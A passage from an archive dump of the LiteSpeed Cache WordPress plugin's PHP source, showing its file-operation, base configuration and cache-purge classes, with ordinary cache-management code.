			// Drop two kinds of comments
			if (strpos($v, '##') !== false) {
				$v = trim(substr($v, 0, strpos($v, '##')));
			}
			if (strpos($v, '# ') !== false) {
				$v = trim(substr($v, 0, strpos($v, '# ')));
			}

			if (!$v) {
				continue;
			}

			$list[] = $v;
		}

		return $list;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/file.cls.php000064400000025107151031165260017273 0ustar00<?php
// phpcs:ignoreFile

/**
 * LiteSpeed File Operator Library Class
 * Append/Replace content to a file
 *
 * @since 1.1.0
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class File {

	const MARKER = 'LiteSpeed Operator';

	/**
	 * Detect if an URL is 404
	 *
	 * @since  3.3
	 */
	public static function is_404( $url ) {
		$response = wp_safe_remote_get($url);
		$code     = wp_remote_retrieve_response_code($response);
		if ($code == 404) {
			return true;
		}

		return false;
	}

	/**
	 *  Delete folder
	 *
	 * @since 2.1
	 */
	public static function rrmdir( $dir ) {
		$files = array_diff(scandir($dir), array( '.', '..' ));

		foreach ($files as $file) {
			is_dir("$dir/$file") ? self::rrmdir("$dir/$file") : unlink("$dir/$file");
		}

		return rmdir($dir);
	}

	public static function count_lines( $filename ) {
		if (!file_exists($filename)) {
			return 0;
		}

		$file = new \SplFileObject($filename);
		$file->seek(PHP_INT_MAX);
		return $file->key() + 1;
	}

	/**
	 * Read data from file
	 *
	 * @since 1.1.0
	 * @param string $filename
	 * @param int    $start_line
	 * @param int    $lines
	 */
	public static function read( $filename, $start_line = null, $lines = null ) {
		if (!file_exists($filename)) {
			return '';
		}

		if (!is_readable($filename)) {
			return false;
		}

		if ($start_line !== null) {
			$res  = array();
			$file = new \SplFileObject($filename);
			$file->seek($start_line);

			if ($lines === null) {
				while (!$file->eof()) {
					$res[] = rtrim($file->current(), "\n");
					$file->next();
				}
			} else {
				for ($i = 0; $i < $lines; $i++) {
					if ($file->eof()) {
						break;
					}
					$res[] = rtrim($file->current(), "\n");
					$file->next();
				}
			}

			unset($file);
			return $res;
		}

		$content = file_get_contents($filename);

		$content = self::remove_zero_space($content);

		return $content;
	}

	/**
	 * Append data to file
	 *
	 * @since 1.1.5
	 * @access public
	 * @param string  $filename
	 * @param string  $data
	 * @param boolean $mkdir
	 * @param boolean $silence Used to avoid WP's functions are used
	 */
	public static function append( $filename, $data, $mkdir = false, $silence = true ) {
		return self::save($filename, $data, $mkdir, true, $silence);
	}

	/**
	 * Save data to file
	 *
	 * @since 1.1.0
	 * @param string  $filename
	 * @param string  $data
	 * @param boolean $mkdir
	 * @param boolean $append If the content needs to be appended
	 * @param boolean $silence Used to avoid WP's functions are used
	 */
	public static function save( $filename, $data, $mkdir = false, $append = false, $silence = true ) {
		if (is_null($filename)) {
			return $silence ? false : __('Filename is empty!', 'litespeed-cache');
		}

		$error  = false;
		$folder = dirname($filename);

		// mkdir if folder does not exist
		if (!file_exists($folder)) {
			if (!$mkdir) {
				return $silence ? false : sprintf(__('Folder does not exist: %s', 'litespeed-cache'), $folder);
			}

			set_error_handler('litespeed_exception_handler');

			try {
				mkdir($folder, 0755, true);
				// Create robots.txt file to forbid search engine indexes
				if (!file_exists(LITESPEED_STATIC_DIR . '/robots.txt')) {
					file_put_contents(LITESPEED_STATIC_DIR . '/robots.txt', "User-agent: *\nDisallow: /\n");
				}
			} catch (\ErrorException $ex) {
				return $silence ? false : sprintf(__('Can not create folder: %1$s. Error: %2$s', 'litespeed-cache'), $folder, $ex->getMessage());
			}

			restore_error_handler();
		}

		if (!file_exists($filename)) {
			if (!is_writable($folder)) {
				return $silence ? false : sprintf(__('Folder is not writable: %s.', 'litespeed-cache'), $folder);
			}
			set_error_handler('litespeed_exception_handler');
			try {
				touch($filename);
			} catch (\ErrorException $ex) {
				return $silence ? false : sprintf(__('File %s is not writable.', 'litespeed-cache'), $filename);
			}
			restore_error_handler();
		} elseif (!is_writable($filename)) {
			return $silence ? false : sprintf(__('File %s is not writable.', 'litespeed-cache'), $filename);
		}

		$data = self::remove_zero_space($data);

		$ret = file_put_contents($filename, $data, $append ? FILE_APPEND : LOCK_EX);
		if ($ret === false) {
			return $silence ? false : sprintf(__('Failed to write to %s.', 'litespeed-cache'), $filename);
		}

		return true;
	}

	/**
	 * Remove Unicode zero-width space <200b><200c>
	 *
	 * @since 2.1.2
	 * @since 2.9 changed to public
	 */
	public static function remove_zero_space( $content ) {
		if (is_array($content)) {
			$content = array_map(__CLASS__ . '::remove_zero_space', $content);
			return $content;
		}

		// Remove UTF-8 BOM if present
		if (substr($content, 0, 3) === "\xEF\xBB\xBF") {
			$content = substr($content, 3);
		}

		$content = str_replace("\xe2\x80\x8b", '', $content);
		$content = str_replace("\xe2\x80\x8c", '', $content);
		$content = str_replace("\xe2\x80\x8d", '', $content);

		return $content;
	}

	/**
	 * Appends an array of strings into a file (.htaccess ), placing it between
	 * BEGIN and END markers.
	 *
	 * Replaces existing marked info. Retains surrounding
	 * data. Creates file if none exists.
	 *
	 * @param string             $filename  Filename to alter.
	 * @param string             $marker    The marker to alter.
	 * @param array|string|false $insertion The new content to insert.
	 * @param bool               $prepend Prepend insertion if not exist.
	 * @return bool True on write success, false on failure.
	 */
	public static function insert_with_markers( $filename, $insertion = false, $marker = false, $prepend = false ) {
		if (!$marker) {
			$marker = self::MARKER;
		}

		if (!$insertion) {
			$insertion = array();
		}

		return self::_insert_with_markers($filename, $marker, $insertion, $prepend); // todo: capture exceptions
	}

	/**
	 * Return wrapped block data with marker
	 *
	 * @param string $insertion
	 * @param string $marker
	 * @return string The block data
	 */
	public static function wrap_marker_data( $insertion, $marker = false ) {
		if (!$marker) {
			$marker = self::MARKER;
		}
		$start_marker = "# BEGIN {$marker}";
		$end_marker   = "# END {$marker}";

		$new_data = implode("\n", array_merge(array( $start_marker ), $insertion, array( $end_marker )));
		return $new_data;
	}

	/**
	 * Touch block data from file, return with marker
	 *
	 * @param string $filename
	 * @param string $marker
	 * @return string The current block data
	 */
	public static function touch_marker_data( $filename, $marker = false ) {
		if (!$marker) {
			$marker = self::MARKER;
		}

		$result = self::_extract_from_markers($filename, $marker);

		if (!$result) {
			return false;
		}

		$start_marker = "# BEGIN {$marker}";
		$end_marker   = "# END {$marker}";
		$new_data     = implode("\n", array_merge(array( $start_marker ), $result, array( $end_marker )));
		return $new_data;
	}

	/**
	 * Extracts strings from between the BEGIN and END markers in the .htaccess file.
	 *
	 * @param string $filename
	 * @param string $marker
	 * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers.
	 */
	public static function extract_from_markers( $filename, $marker = false ) {
		if (!$marker) {
			$marker = self::MARKER;
		}
		return self::_extract_from_markers($filename, $marker);
	}

	/**
	 * Extracts strings from between the BEGIN and END markers in the .htaccess file.
	 *
	 * @param string $filename
	 * @param string $marker
	 * @return array An array of strings from a file (.htaccess ) from between BEGIN and END markers.
	 */
	private static function _extract_from_markers( $filename, $marker ) {
		$result = array();

		if (!file_exists($filename)) {
			return $result;
		}

		if ($markerdata = explode("\n", implode('', file($filename)))) {
			$state = false;
			foreach ($markerdata as $markerline) {
				if (strpos($markerline, '# END ' . $marker) !== false) {
					$state = false;
				}
				if ($state) {
					$result[] = $markerline;
				}
				if (strpos($markerline, '# BEGIN ' . $marker) !== false) {
					$state = true;
				}
			}
		}

		return array_map('trim', $result);
	}

	/**
	 * Inserts an array of strings into a file (.htaccess ), placing it between BEGIN and END markers.
	 *
	 * Replaces existing marked info. Retains surrounding data. Creates file if none exists.
	 *
	 * NOTE: will throw error if failed
	 *
	 * @since 3.0-
	 * @since  3.0 Throw errors if failed
	 * @access private
	 */
	private static function _insert_with_markers( $filename, $marker, $insertion, $prepend = false ) {
		if (!file_exists($filename)) {
			if (!is_writable(dirname($filename))) {
				Error::t('W', dirname($filename));
			}

			set_error_handler('litespeed_exception_handler');
			try {
				touch($filename);
			} catch (\ErrorException $ex) {
				Error::t('W', $filename);
			}
			restore_error_handler();
		} elseif (!is_writable($filename)) {
			Error::t('W', $filename);
		}

		if (!is_array($insertion)) {
			$insertion = explode("\n", $insertion);
		}

		$start_marker = "# BEGIN {$marker}";
		$end_marker   = "# END {$marker}";

		$fp = fopen($filename, 'r+');
		if (!$fp) {
			Error::t('W', $filename);
		}

		// Attempt to get a lock. If the filesystem supports locking, this will block until the lock is acquired.
		flock($fp, LOCK_EX);

		$lines = array();
		while (!feof($fp)) {
			$lines[] = rtrim(fgets($fp), "\r\n");
		}

		// Split out the existing file into the preceding lines, and those that appear after the marker
		$pre_lines    = $post_lines = $existing_lines = array();
		$found_marker = $found_end_marker = false;
		foreach ($lines as $line) {
			if (!$found_marker && false !== strpos($line, $start_marker)) {
				$found_marker = true;
				continue;
			} elseif (!$found_end_marker && false !== strpos($line, $end_marker)) {
				$found_end_marker = true;
				continue;
			}

			if (!$found_marker) {
				$pre_lines[] = $line;
			} elseif ($found_marker && $found_end_marker) {
				$post_lines[] = $line;
			} else {
				$existing_lines[] = $line;
			}
		}

		// Check to see if there was a change
		if ($existing_lines === $insertion) {
			flock($fp, LOCK_UN);
			fclose($fp);

			return true;
		}

		// Check if need to prepend data if not exist
		if ($prepend && !$post_lines) {
			// Generate the new file data
			$new_file_data = implode("\n", array_merge(array( $start_marker ), $insertion, array( $end_marker ), $pre_lines));
		} else {
			// Generate the new file data
			$new_file_data = implode("\n", array_merge($pre_lines, array( $start_marker ), $insertion, array( $end_marker ), $post_lines));
		}

		// Write to the start of the file, and truncate it to that length
		fseek($fp, 0);
		$bytes = fwrite($fp, $new_file_data);
		if ($bytes) {
			ftruncate($fp, ftell($fp));
		}
		fflush($fp);
		flock($fp, LOCK_UN);
		fclose($fp);

		return (bool) $bytes;
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/root.cls.php000064400000033763151031165260017346 0ustar00<?php
// phpcs:ignoreFile

/**
 * The abstract instance
 *
 * @since       3.0
 */

namespace LiteSpeed;

defined('WPINC') || exit();

abstract class Root {

	const CONF_FILE = '.litespeed_conf.dat';
	// Instance set
	private static $_instances;

	private static $_options         = array();
	private static $_const_options   = array();
	private static $_primary_options = array();
	private static $_network_options = array();

	/**
	 * Check if need to separate ccss for mobile
	 *
	 * @since  4.7
	 * @access protected
	 */
	protected function _separate_mobile() {
		return (wp_is_mobile() || apply_filters('litespeed_is_mobile', false)) && $this->conf(Base::O_CACHE_MOBILE);
	}

	/**
	 * Log an error message
	 *
	 * @since 7.0
	 */
	public static function debugErr( $msg, $backtrace_limit = false ) {
		$msg = '❌ ' . $msg;
		self::debug($msg, $backtrace_limit);
	}

	/**
	 * Log a debug message.
	 *
	 * @since  4.4
	 * @access public
	 */
	public static function debug( $msg, $backtrace_limit = false ) {
		if (!defined('LSCWP_LOG')) {
			return;
		}

		if (defined('static::LOG_TAG')) {
			$msg = static::LOG_TAG . '  ' . $msg;
		}

		Debug2::debug($msg, $backtrace_limit);
	}

	/**
	 * Log an advanced debug message.
	 *
	 * @since  4.4
	 * @access public
	 */
	public static function debug2( $msg, $backtrace_limit = false ) {
		if (!defined('LSCWP_LOG_MORE')) {
			return;
		}

		if (defined('static::LOG_TAG')) {
			$msg = static::LOG_TAG . '  ' . $msg;
		}
		Debug2::debug2($msg, $backtrace_limit);
	}

	/**
	 * Check if there is cache folder for that type
	 *
	 * @since  3.0
	 */
	public function has_cache_folder( $type ) {
		$subsite_id = is_multisite() && !is_network_admin() ? get_current_blog_id() : '';

		if (file_exists(LITESPEED_STATIC_DIR . '/' . $type . '/' . $subsite_id)) {
			return true;
		}
		return false;
	}

	/**
	 * Maybe make the cache folder if not existed
	 *
	 * @since 4.4.2
	 */
	protected function _maybe_mk_cache_folder( $type ) {
		if (!$this->has_cache_folder($type)) {
			$subsite_id = is_multisite() && !is_network_admin() ? get_current_blog_id() : '';
			$path       = LITESPEED_STATIC_DIR . '/' . $type . '/' . $subsite_id;
			mkdir($path, 0755, true);
		}
	}

	/**
	 * Delete file-based cache folder for that type
	 *
	 * @since  3.0
	 */
	public function rm_cache_folder( $type ) {
		if (!$this->has_cache_folder($type)) {
			return;
		}

		$subsite_id = is_multisite() && !is_network_admin() ? get_current_blog_id() : '';

		File::rrmdir(LITESPEED_STATIC_DIR . '/' . $type . '/' . $subsite_id);

		// Clear All summary data
		self::save_summary(false, false, true);

		if ($type == 'ccss' || $type == 'ucss') {
			Debug2::debug('[CSS] Cleared ' . $type . ' queue');
		} elseif ($type == 'avatar') {
			Debug2::debug('[Avatar] Cleared ' . $type . ' queue');
		} elseif ($type == 'css' || $type == 'js') {
			return;
		} else {
			Debug2::debug('[' . strtoupper($type) . '] Cleared ' . $type . ' queue');
		}
	}

	/**
	 * Build the static filepath
	 *
	 * @since  4.0
	 */
	protected function _build_filepath_prefix( $type ) {
		$filepath_prefix = '/' . $type . '/';
		if (is_multisite()) {
			$filepath_prefix .= get_current_blog_id() . '/';
		}

		return $filepath_prefix;
	}

	/**
	 * Load current queues from data file
	 *
	 * @since  4.1
	 * @since  4.3 Elevated to root.cls
	 */
	public function load_queue( $type ) {
		$filepath_prefix = $this->_build_filepath_prefix($type);
		$static_path     = LITESPEED_STATIC_DIR . $filepath_prefix . '.litespeed_conf.dat';

		$queue = array();
		if (file_exists($static_path)) {
			$queue = \json_decode(file_get_contents($static_path), true) ?: array();
		}

		return $queue;
	}

	/**
	 * Save current queues to data file
	 *
	 * @since  4.1
	 * @since  4.3 Elevated to root.cls
	 */
	public function save_queue( $type, $list ) {
		$filepath_prefix = $this->_build_filepath_prefix($type);
		$static_path     = LITESPEED_STATIC_DIR . $filepath_prefix . '.litespeed_conf.dat';

		$data = \json_encode($list);

		File::save($static_path, $data, true);
	}

	/**
	 * Clear all waiting queues
	 *
	 * @since  3.4
	 * @since  4.3 Elevated to root.cls
	 */
	public function clear_q( $type, $silent = false ) {
		$filepath_prefix = $this->_build_filepath_prefix($type);
		$static_path     = LITESPEED_STATIC_DIR . $filepath_prefix . '.litespeed_conf.dat';

		if (file_exists($static_path)) {
			$silent = false;
			unlink($static_path);
		}

		if (!$silent) {
			$msg = __('All QUIC.cloud service queues have been cleared.', 'litespeed-cache');
			Admin_Display::success($msg);
		}
	}

	/**
	 * Load an instance or create it if not existed
	 *
	 * @since  4.0
	 */
	public static function cls( $cls = false, $unset = false, $data = false ) {
		if (!$cls) {
			$cls = self::ori_cls();
		}
		$cls = __NAMESPACE__ . '\\' . $cls;

		$cls_tag = strtolower($cls);

		if (!isset(self::$_instances[$cls_tag])) {
			if ($unset) {
				return;
			}

			self::$_instances[$cls_tag] = new $cls($data);
		} elseif ($unset) {
			unset(self::$_instances[$cls_tag]);
			return;
		}

		return self::$_instances[$cls_tag];
	}

	/**
	 * Set one conf or confs
	 */
	public function set_conf( $id, $val = null ) {
		if (is_array($id)) {
			foreach ($id as $k => $v) {
				$this->set_conf($k, $v);
			}
			return;
		}
		self::$_options[$id] = $val;
	}

	/**
	 * Set one primary conf or confs
	 */
	public function set_primary_conf( $id, $val = null ) {
		if (is_array($id)) {
			foreach ($id as $k => $v) {
				$this->set_primary_conf($k, $v);
			}
			return;
		}
		self::$_primary_options[$id] = $val;
	}

	/**
	 * Set one network conf
	 */
	public function set_network_conf( $id, $val = null ) {
		if (is_array($id)) {
			foreach ($id as $k => $v) {
				$this->set_network_conf($k, $v);
			}
			return;
		}
		self::$_network_options[$id] = $val;
	}

	/**
	 * Set one const conf
	 */
	public function set_const_conf( $id, $val ) {
		self::$_const_options[$id] = $val;
	}

	/**
	 * Check if is overwritten by const
	 *
	 * @since  3.0
	 */
	public function const_overwritten( $id ) {
		if (!isset(self::$_const_options[$id]) || self::$_const_options[$id] == self::$_options[$id]) {
			return null;
		}
		return self::$_const_options[$id];
	}

	/**
	 * Check if is overwritten by primary site
	 *
	 * @since  3.2.2
	 */
	public function primary_overwritten( $id ) {
		if (!isset(self::$_primary_options[$id]) || self::$_primary_options[$id] == self::$_options[$id]) {
			return null;
		}

		// Network admin settings is impossible to be overwritten by primary
		if (is_network_admin()) {
			return null;
		}

		return self::$_primary_options[$id];
	}

	/**
	 * Check if is overwritten by code filter
	 *
	 * @since  7.4
	 */
	public function filter_overwritten( $id ) {
		$cls_admin_display = Admin_Display::$settings_filters;
		// Check if filter name is set.
		if(!isset($cls_admin_display[$id]) || !isset($cls_admin_display[$id]['filter']) || is_array($cls_admin_display[$id]['filter']) ){
			return null;
		}

		$val_setting = $this->conf($id, true);
		// if setting not found
		if( null === $val_setting ){
			$val_setting = '';
		}

		$val_filter = apply_filters($cls_admin_display[$id]['filter'], $val_setting );

		if ($val_setting === $val_filter) {
			// If the value is the same, return null.
			return null;
		}

		return $val_filter;
	}

	/**
	 * Check if is overwritten by $SERVER variable
	 *
	 * @since  7.4
	 */
	public function server_overwritten( $id ) {
		$cls_admin_display = Admin_Display::$settings_filters;
		if(!isset($cls_admin_display[$id]['filter'])){
			return null;
		}

		if(!is_array($cls_admin_display[$id]['filter'])) {
			$cls_admin_display[$id]['filter'] = array( $cls_admin_display[$id]['filter'] );
		}

		foreach( $cls_admin_display[$id]['filter'] as $variable ){
			if(isset($_SERVER[$variable])) {
				return [ $variable , $_SERVER[$variable] ] ;
			}
		}

		return null;
	}

	/**
	 * Get the list of configured options for the blog.
	 *
	 * @since 1.0
	 */
	public function get_options( $ori = false ) {
		if (!$ori) {
			return array_merge(self::$_options, self::$_primary_options, self::$_network_options, self::$_const_options);
		}

		return self::$_options;
	}

	/**
	 * If has a conf or not
	 */
	public function has_conf( $id ) {
		return array_key_exists($id, self::$_options);
	}

	/**
	 * If has a primary conf or not
	 */
	public function has_primary_conf( $id ) {
		return array_key_exists($id, self::$_primary_options);
	}

	/**
	 * If has a network conf or not
	 */
	public function has_network_conf( $id ) {
		return array_key_exists($id, self::$_network_options);
	}

	/**
	 * Get conf
	 */
	public function conf( $id, $ori = false ) {
		if (isset(self::$_options[$id])) {
			if (!$ori) {
				$val = $this->const_overwritten($id);
				if ($val !== null) {
					defined('LSCWP_LOG') && Debug2::debug('[Conf] 🏛️ const option ' . $id . '=' . var_export($val, true));
					return $val;
				}

				$val = $this->primary_overwritten($id); // Network Use primary site settings
				if ($val !== null) {
					return $val;
				}
			}

			// Network original value will be in _network_options
			if (!is_network_admin() || !$this->has_network_conf($id)) {
				return self::$_options[$id];
			}
		}

		if ($this->has_network_conf($id)) {
			if (!$ori) {
				$val = $this->const_overwritten($id);
				if ($val !== null) {
					defined('LSCWP_LOG') && Debug2::debug('[Conf] 🏛️ const option ' . $id . '=' . var_export($val, true));
					return $val;
				}
			}

			return $this->network_conf($id);
		}

		defined('LSCWP_LOG') && Debug2::debug('[Conf] Invalid option ID ' . $id);

		return null;
	}

	/**
	 * Get primary conf
	 */
	public function primary_conf( $id ) {
		return self::$_primary_options[$id];
	}

	/**
	 * Get network conf
	 */
	public function network_conf( $id ) {
		if (!$this->has_network_conf($id)) {
			return null;
		}

		return self::$_network_options[$id];
	}

	/**
	 * Get called class short name
	 */
	public static function ori_cls() {
		$cls       = new \ReflectionClass(get_called_class());
		$shortname = $cls->getShortName();
		$namespace = str_replace(__NAMESPACE__ . '\\', '', $cls->getNamespaceName() . '\\');
		if ($namespace) {
			// the left namespace after dropped LiteSpeed
			$shortname = $namespace . $shortname;
		}

		return $shortname;
	}

	/**
	 * Generate conf name for wp_options record
	 *
	 * @since 3.0
	 */
	public static function name( $id ) {
		$name = strtolower(self::ori_cls());
		return 'litespeed.' . $name . '.' . $id;
	}

	/**
	 * Dropin with prefix for WP's get_option
	 *
	 * @since 3.0
	 */
	public static function get_option( $id, $default_v = false ) {
		$v = get_option(self::name($id), $default_v);

		// Maybe decode array
		if (is_array($default_v)) {
			$v = self::_maybe_decode($v);
		}

		return $v;
	}

	/**
	 * Dropin with prefix for WP's get_site_option
	 *
	 * @since 3.0
	 */
	public static function get_site_option( $id, $default_v = false ) {
		$v = get_site_option(self::name($id), $default_v);

		// Maybe decode array
		if (is_array($default_v)) {
			$v = self::_maybe_decode($v);
		}

		return $v;
	}

	/**
	 * Dropin with prefix for WP's get_blog_option
	 *
	 * @since 3.0
	 */
	public static function get_blog_option( $blog_id, $id, $default_v = false ) {
		$v = get_blog_option($blog_id, self::name($id), $default_v);

		// Maybe decode array
		if (is_array($default_v)) {
			$v = self::_maybe_decode($v);
		}

		return $v;
	}

	/**
	 * Dropin with prefix for WP's add_option
	 *
	 * @since 3.0
	 */
	public static function add_option( $id, $v ) {
		add_option(self::name($id), self::_maybe_encode($v));
	}

	/**
	 * Dropin with prefix for WP's add_site_option
	 *
	 * @since 3.0
	 */
	public static function add_site_option( $id, $v ) {
		add_site_option(self::name($id), self::_maybe_encode($v));
	}

	/**
	 * Dropin with prefix for WP's update_option
	 *
	 * @since 3.0
	 */
	public static function update_option( $id, $v ) {
		update_option(self::name($id), self::_maybe_encode($v));
	}

	/**
	 * Dropin with prefix for WP's update_site_option
	 *
	 * @since 3.0
	 */
	public static function update_site_option( $id, $v ) {
		update_site_option(self::name($id), self::_maybe_encode($v));
	}

	/**
	 * Decode an array
	 *
	 * @since  4.0
	 */
	private static function _maybe_decode( $v ) {
		if (!is_array($v)) {
			$v2 = \json_decode($v, true);
			if ($v2 !== null) {
				$v = $v2;
			}
		}
		return $v;
	}

	/**
	 * Encode an array
	 *
	 * @since  4.0
	 */
	private static function _maybe_encode( $v ) {
		if (is_array($v)) {
			$v = \json_encode($v) ?: $v; // Non utf-8 encoded value will get failed, then used ori value
		}
		return $v;
	}

	/**
	 * Dropin with prefix for WP's delete_option
	 *
	 * @since 3.0
	 */
	public static function delete_option( $id ) {
		delete_option(self::name($id));
	}

	/**
	 * Dropin with prefix for WP's delete_site_option
	 *
	 * @since 3.0
	 */
	public static function delete_site_option( $id ) {
		delete_site_option(self::name($id));
	}

	/**
	 * Read summary
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function get_summary( $field = false ) {
		$summary = self::get_option('_summary', array());

		if (!is_array($summary)) {
			$summary = array();
		}

		if (!$field) {
			return $summary;
		}

		if (array_key_exists($field, $summary)) {
			return $summary[$field];
		}

		return null;
	}

	/**
	 * Save summary
	 *
	 * @since  3.0
	 * @access public
	 */
	public static function save_summary( $data = false, $reload = false, $overwrite = false ) {
		if ($reload || empty(static::cls()->_summary)) {
			self::reload_summary();
		}

		$existing_summary = static::cls()->_summary;
		if ($overwrite || !is_array($existing_summary)) {
			$existing_summary = array();
		}
		$new_summary = array_merge($existing_summary, $data ?: array());
		// self::debug2('Save after Reloaded summary', $new_summary);
		static::cls()->_summary = $new_summary;

		self::update_option('_summary', $new_summary);
	}

	/**
	 * Reload summary
	 *
	 * @since 5.0
	 */
	public static function reload_summary() {
		static::cls()->_summary = self::get_summary();
		// self::debug2( 'Reloaded summary', static::cls()->_summary );
	}

	/**
	 * Get the current instance object. To be inherited.
	 *
	 * @since 3.0
	 */
	public static function get_instance() {
		return static::cls();
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/src/purge.cls.php000064400000077226151031165260017507 0ustar00<?php
// phpcs:ignoreFile

/**
 * The plugin purge class for X-LiteSpeed-Purge
 *
 * @since       1.1.3
 * @since       2.2 Refactored. Changed access from public to private for most func and class variables.
 */

namespace LiteSpeed;

defined('WPINC') || exit();

class Purge extends Base {

	const LOG_TAG = '🧹';

	protected $_pub_purge    = array();
	protected $_pub_purge2   = array();
	protected $_priv_purge   = array();
	protected $_purge_single = false;

	const X_HEADER  = 'X-LiteSpeed-Purge';
	const X_HEADER2 = 'X-LiteSpeed-Purge2';
	const DB_QUEUE  = 'queue';
	const DB_QUEUE2 = 'queue2';

	const TYPE_PURGE_ALL          = 'purge_all';
	const TYPE_PURGE_ALL_LSCACHE  = 'purge_all_lscache';
	const TYPE_PURGE_ALL_CSSJS    = 'purge_all_cssjs';
	const TYPE_PURGE_ALL_LOCALRES = 'purge_all_localres';
	const TYPE_PURGE_ALL_CCSS     = 'purge_all_ccss';
	const TYPE_PURGE_ALL_UCSS     = 'purge_all_ucss';
	const TYPE_PURGE_ALL_LQIP     = 'purge_all_lqip';
	const TYPE_PURGE_ALL_AVATAR   = 'purge_all_avatar';
	const TYPE_PURGE_ALL_OBJECT   = 'purge_all_object';
	const TYPE_PURGE_ALL_OPCACHE  = 'purge_all_opcache';

	const TYPE_PURGE_FRONT     = 'purge_front';
	const TYPE_PURGE_UCSS      = 'purge_ucss';
	const TYPE_PURGE_FRONTPAGE = 'purge_frontpage';
	const TYPE_PURGE_PAGES     = 'purge_pages';
	const TYPE_PURGE_ERROR     = 'purge_error';

	/**
	 * Init hooks
	 *
	 * @since  3.0
	 */
	public function init() {
		// Register purge actions.
		// Most used values: edit_post, save_post, delete_post, wp_trash_post, clean_post_cache, wp_update_comment_count
		$purge_post_events = apply_filters('litespeed_purge_post_events', array(
			'delete_post',
			'wp_trash_post',
			// 'clean_post_cache', // This will disable wc's not purge product when stock status not change setting
			'wp_update_comment_count', // TODO: check if needed for non ESI
		));

		foreach ($purge_post_events as $event) {
			// this will purge all related tags
			add_action($event, array( $this, 'purge_post' ));
		}

		// Purge post only when status is/was publish
		add_action('transition_post_status', array( $this, 'purge_publish' ), 10, 3);

		add_action('wp_update_comment_count', array( $this, 'purge_feeds' ));

		if ($this->conf(self::O_OPTM_UCSS)) {
			add_action('edit_post', __NAMESPACE__ . '\Purge::purge_ucss');
		}
	}

	/**
	 * Only purge publish related status post
	 *
	 * @since 3.0
	 * @access public
	 */
	public function purge_publish( $new_status, $old_status, $post ) {
		if ($new_status != 'publish' && $old_status != 'publish') {
			return;
		}

		$this->purge_post($post->ID);
	}

	/**
	 * Handle all request actions from main cls
	 *
	 * @since  1.8
	 * @access public
	 */
	public function handler() {
		$type = Router::verify_type();

		switch ($type) {
			case self::TYPE_PURGE_ALL:
            $this->_purge_all();
				break;

			case self::TYPE_PURGE_ALL_LSCACHE:
            $this->_purge_all_lscache();
				break;

			case self::TYPE_PURGE_ALL_CSSJS:
            $this->_purge_all_cssjs();
				break;

			case self::TYPE_PURGE_ALL_LOCALRES:
            $this->_purge_all_localres();
				break;

			case self::TYPE_PURGE_ALL_CCSS:
            $this->_purge_all_ccss();
				break;

			case self::TYPE_PURGE_ALL_UCSS:
            $this->_purge_all_ucss();
				break;

			case self::TYPE_PURGE_ALL_LQIP:
            $this->_purge_all_lqip();
				break;

			case self::TYPE_PURGE_ALL_AVATAR:
            $this->_purge_all_avatar();
				break;

			case self::TYPE_PURGE_ALL_OBJECT:
            $this->_purge_all_object();
				break;

			case self::TYPE_PURGE_ALL_OPCACHE:
            $this->purge_all_opcache();
				break;

			case self::TYPE_PURGE_FRONT:
            $this->_purge_front();
				break;

			case self::TYPE_PURGE_UCSS:
            $this->_purge_ucss();
				break;

			case self::TYPE_PURGE_FRONTPAGE:
            $this->_purge_frontpage();
				break;

			case self::TYPE_PURGE_PAGES:
            $this->_purge_pages();
				break;

			case strpos($type, self::TYPE_PURGE_ERROR) === 0:
            $this->_purge_error(substr($type, strlen(self::TYPE_PURGE_ERROR)));
				break;

			default:
				break;
		}

		Admin::redirect();
	}

	/**
	 * Shortcut to purge all lscache
	 *
	 * @since 1.0.0
	 * @access public
	 */
	public static function purge_all( $reason = false ) {
		self::cls()->_purge_all($reason);
	}

	/**
	 * Purge all caches (lscache/op/oc)
	 *
	 * @since 2.2
	 * @access private
	 */
	private function _purge_all( $reason = false ) {
		// if ( defined( 'LITESPEED_CLI' ) ) {
		// Can't send, already has output, need to save and wait for next run
		// self::update_option( self::DB_QUEUE, $curr_built );
		// self::debug( 'CLI request, queue stored: ' . $curr_built );
		// }
		// else {
		$this->_purge_all_lscache(true);
		$this->_purge_all_cssjs(true);
		$this->_purge_all_localres(true);
		// $this->_purge_all_ccss( true );
		// $this->_purge_all_lqip( true );
		$this->_purge_all_object(true);
		$this->purge_all_opcache(true);
		// }

		if ($this->conf(self::O_CDN_CLOUDFLARE_CLEAR)) {
			CDN\Cloudflare::purge_all('Purge All');
		}

		if (!is_string($reason)) {
			$reason = false;
		}

		if ($reason) {
			$reason = "( $reason )";
		}

		self::debug('Purge all ' . $reason, 3);

		$msg = __('Purged all caches successfully.', 'litespeed-cache');
		!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);

		do_action('litespeed_purged_all');
	}

	/**
	 * Alerts LiteSpeed Web Server to purge all pages.
	 *
	 * For multisite installs, if this is called by a site admin (not network admin),
	 * it will only purge all posts associated with that site.
	 *
	 * @since 2.2
	 * @access public
	 */
	private function _purge_all_lscache( $silence = false ) {
		$this->_add('*');

		// Action to run after server was notified to delete LSCache entries.
		do_action('litespeed_purged_all_lscache');

		if (!$silence) {
			$msg = __('Notified LiteSpeed Web Server to purge all LSCache entries.', 'litespeed-cache');
			!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		}
	}

	/**
	 * Delete all critical css
	 *
	 * @since    2.3
	 * @access   private
	 */
	private function _purge_all_ccss( $silence = false ) {
		do_action('litespeed_purged_all_ccss');

		$this->cls('CSS')->rm_cache_folder('ccss');

		$this->cls('Data')->url_file_clean('ccss');

		if (!$silence) {
			$msg = __('Cleaned all Critical CSS files.', 'litespeed-cache');
			!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		}
	}

	/**
	 * Delete all unique css
	 *
	 * @since    2.3
	 * @access   private
	 */
	private function _purge_all_ucss( $silence = false ) {
		do_action('litespeed_purged_all_ucss');

		$this->cls('CSS')->rm_cache_folder('ucss');

		$this->cls('Data')->url_file_clean('ucss');

		if (!$silence) {
			$msg = __('Cleaned all Unique CSS files.', 'litespeed-cache');
			!defined('LITESPEED_PURGE_SILENT') && Admin_Display::success($msg);
		}
	}

	/**
	 * Purge one UCSS by URL
	 *
	 * @since 4.5
	 * @access public
	 */
